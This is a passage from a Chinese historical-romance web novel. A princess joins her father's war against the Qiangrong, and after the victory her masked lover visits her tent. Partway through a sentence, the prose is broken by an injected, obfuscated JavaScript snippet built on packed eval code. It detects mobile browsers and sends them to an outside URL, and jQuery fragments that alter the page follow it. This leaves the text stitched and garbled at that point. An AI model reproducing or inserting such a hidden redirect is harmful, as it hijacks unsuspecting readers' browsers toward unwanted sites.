殿内一片死寂,但穆云缨知道门会开的。
果然,没过多久,太极殿的大门被人从里面打开,穆绍阳从里面走了出来。
“小妹,桂花糕给我吧,我带进去给父王。”
“不要。我要见父王。”穆云缨澄澈的眸子里全是倔强。
知道拗不过她,穆绍阳犹豫一下,然后点头。穆云缨跟在他身后踏进大殿。
大殿内很安静,就像暴风雨前的宁静。大臣们好像达成了一致,静默地看着穆云缨一步步走向大殿中央的男人。
“父王,我听说您一上午没休息了,特地给您带了桂花糕。”穆云缨语气尽量保持平静,但汗涔涔的掌心终归是暴露了她波涛蓬勃的内心。
穆朗缓声道:“父王正在忙,把桂花糕放下你就出去吧。”
穆云缨抬起眼,注视着椅上的帝王。
“儿臣已经知晓羌戎军报,也遵从父王的决定。不过儿臣有一个请求,如若父王选择出兵征讨羌戎,儿臣愿一同前往。”
她说完这番大胆的言论后,原本安静的大殿更是变得落针可闻,几个老臣呼吸都放轻了,生怕惹得穆朗不快。
“云缨。”穆朗喊了她一声,面容是少见的严肃,“战场可不是让你开玩笑的地方,你还小,不懂战场的凶险。你的心意父王领了,要是没事就先出去吧。”
穆云缨站在原地没有动,目光灼灼,在穆朗越来越无奈的目光中愈发坚定清晰。
“我不知道还有什么比差点被狼吃掉更危险的事。”
“更何况,兄长十六岁就亲征。晟朝的九皇子更是十二岁就随军出征。我不认为我的能力比他们任何一个人差。”
“话虽这么说,可战场毕竟是刀枪无眼的地方,公主您是女子怎能跟男子比呢?”一旁的老臣见西凉王发话了,纷纷出来劝道。
“放你的狗屁。”穆云缨突然暴起把刚出来讲话的几人吓了一跳,“谁说女子不如男?你们给我听着,我三个月前跟羌戎交过手,熟悉他们的作战方式,让我上战场,我有信心能把他们打得屁滚尿流。”
她又望向穆朗,再次恳求道:“请允许儿臣随军出征。”
“父王,小妹愿去就让她去吧。有我在她身后,定不会让小妹有半分损失。”出乎预料,穆绍繎竟然帮穆云缨说话。
要是还能拉一个人来劝劝父王,这事说不定就成了。穆云缨抬眼看向她大哥,穆绍阳却微微摇了摇头。
穆云缨不死心,不断朝他使眼色,在她的不断努力下,穆绍阳终于开口了:“儿臣也认为不妥。”
穆云缨蓦地一震,不可置信地瞪着穆绍阳,听他继续说。
“库房里的甲胄,皆是按军中男儿的身量打造,肩宽腰阔,小妹想要亲征也需有一套合身的甲胄。”
被穆云缨骂了一顿的大臣此刻也跟出来附和:“大殿下所言极是,打造一副合身的甲胄,需先熔铁锻片,再按身形錾刻纹路、铆接部件,还要内衬软甲以防磨损,最快也得半月之功。而军情紧急,实在是等不得。”
这群老不死的,还是觉得她在胡闹。
穆云缨发出一声不轻不响的冷哼,直接忽略大臣,朝穆朗说道:“这就不劳大哥担心,父王您曾经赐给儿臣一套玄铁,儿臣用那玄铁锻造了一副轻甲,这下不必再等半月。”
穆朗凝视着女儿倔强的面庞,终是长叹一声,显得很是无奈。
“你心意已决,既然如此,那就去吧。”
云缨是他唯一的女儿,从小就被捧着长大,曾经稚嫩的小女孩也终究是长成了有棱有角的大人。
穆云缨要随军出征的消息很快传遍西凉城,举国上下热血沸腾,反倒是外出溜达的穆绍云最后一个知道这件事,他一回城就火急火燎地去找穆云缨。
“你认真的吗?”
正穿着盔甲在铜镜面前自我欣赏的穆云缨抬起头,通过铜镜跟他对视。
他的目光里是她很熟悉的担忧和无奈。
“你不相信我吗?”穆云缨真诚发问。
“这倒不是。”穆绍云扫了她一眼,不动声色地捏紧指关节。
“战场跟游历江湖不一样,一旦上了战场,我就不能陪在你身边。”
“你去参加后军呗,这样你也不用闲着了。”穆云缨倾情给他推荐。
“没空。”穆绍云的嗓音懒洋洋,他有更重要的事情要做,没时间陪穆云缨出生入死。倒是还想劝劝穆云缨,毕竟林瑛明里暗里表明不想穆云缨随军出征。
“那谢珩呢,你不跟他见面了?这几天不是想他想到茶饭不思吗?”穆绍云抛出这个看似被穆云缨遗忘的话题。
穆云缨蹙眉,坐下来喝了一大口茶:“我很想他。但是我如今不能以公主的身份任性行事,我要遵守作为一个士兵的纪律。军中有令今晚出发,那我便不能掉队。”
见她去意已决,穆绍云耸耸肩,不打算再多费口舌,在这种事情上,她就没有听过他的。
“那我没什么好说的,祝云缨偏将旗开得胜,首战告捷。”
谢珩是在夏至当天收到西凉与羌戎开战的消息。他原本已经骑马出了国都长安,半路上被荆羽追回,得知穆云缨此刻正在战场上厮杀。
谢珩握住缰绳在原地呆了一呆,随即摇头笑了,心想真不愧是他认识的穆云缨,不刺激的事情不做,不热闹的地方不去。
他略一思索,沉吟道:“帮我传信穆绍云,我要跟他见面。”
.
西凉的大军浩浩汤汤地朝边境进发,穆绍繎率领前锋冲在最前面,穆云缨带领左翼包抄羌戎后路。
西凉军此行十分顺利,在成功收复两座城池后,中军下达了追剿羌戎余孽的命令。羌戎余孽在西凉的追击下躲进一处山谷,该山谷地形易守难攻,西凉军尝试进攻多次都以失败告终,中军改变策略尝试与羌戎谈判。谈判的过程很顺利,羌戎原先誓不拒降,后不知道什么原因献旗投降。
明天就要启程回西凉了。当晚,西凉军内篝火噼啪地燃着,到处都是将士们的呦呵声和欢呼声。整只羯羊架在火上翻烤,油脂滋滋往下滴,落进火堆里腾起阵阵白烟,似乎也在为他们的胜利庆祝着。
穆云缨独自坐在营地边缘的阴影里,面前一碗青稞酒反复斟满又泼洒入土,这是西凉祭奠亡魂的方式。
“小妹,你咋一个人躲在这呢,咋不跟大家一块喝酒庆祝。”穆绍繎拎着酒从火堆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17049681|191549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中央挤了出来,脸因为兴奋和激动红扑扑的,像挂了一个猴子屁股。
穆云缨知道穆绍繎压力大,作为前锋领率他永远冲在最前面,身上的伤也比寻常士兵多几处,即使如此他还是一下注意到远离人群的穆云缨。
“格老子的羌戎,以后再敢惹事,就不是进供物质这么简单,区区几匹汗血宝马,我西凉难道没有不成?”
穆绍繎的脸越来越红,倒不是醉酒,他就是单纯地激动,十分激动。“小妹,你这次的表现太勇猛了,特别是在万军中取下敌方将领的首级,前锋好多将军都对你刮目相看,说等回到都城,一定要让父王好好嘉赏你,也让那些瞧不起的大臣们看看我们西凉女将的风采。”
被夸奖了,穆云缨心中却没有想象中的激动,而是笑了一下,平静地开口。
“不说了哥,干!”
她举起酒杯朝穆绍繎示意,趁他仰头灌酒时把碗里的酒洒在地下。
今天全西凉将士都很高兴,唯一一个不高兴的人可能就是穆云缨了。
星子缓慢地移动着,在天鹅绒般的天幕里做着跑操运动,时而跑到这边时而跑到另一边,循环往复。
穆云缨揉着疲惫的眉心掀开帐篷,没等她回到榻上,眼神就变得如同草原上的猎鹰,扭头警惕地盯着帐篷门口的位置,手也按在刀柄上。
“谁在外面?”
一只修长粗粝的手搭在帐篷上方,堪堪刹住没有掀起帐篷。
“是我。”一道低沉和缓的声音从帐篷外传来。
当听到这个声音的时候,穆云缨整个身体都战栗起来,心扑通扑通跳着,简直不敢相信自己的耳朵,一度以为自己幻听了。
“我现在能进来吗?”那声音在小声地请求。
穆云缨稳定心神,再开口时她的声音已经哑了:“你进来吧。”
一道修长俊硕的身影应声而入,但穆云缨看到的不是他的脸而是一副刻有云纹的黄金面具。
穆云缨觉得喉头发干,下意识捂住自己的左脸。冷箭擦着她下颌线而过,在上面留下一道奇长的血痕,现在已经长成一道狰狞丑陋的疤。
“谢珩,你怎么来了?”她的声音很轻,就像一道微风,生怕一句话把面前人吹散了。
“想你想得不行,于是我就来了,但是我来到时篝火已经开始了,你身边一直有人,我就没去找你。”
说这句话的工夫,谢珩已经走到穆云缨面前,穆云缨摸着谢珩温热的身躯,终于确定眼前的这个真的是她日思夜想的人。
“你找了我哥是吗?”穆云缨很聪明,一眼就看穿只凭谢珩一个人是不可能来到重兵把守的营地。
谢珩承认:“是,自从得知你跟随军队出征,我就一直跟十一殿下通信,直到……”
他话还没说完,面具被人摘下,唇被另一双唇堵住,不同于以往的啃咬,穆云缨长驱直入,撬开他的牙关,近乎炙热地侵略着他的每一寸气息。
谢珩眼神骤然幽暗,反手扣住她的腰,舌尖用力,把主动权拿回到自己手中。
胸腔中的氧气慢慢耗尽,窒息感漫了上来,穆云缨捂着自己左脸的手松开,谢珩的余光瞥见那道丑陋的伤疤。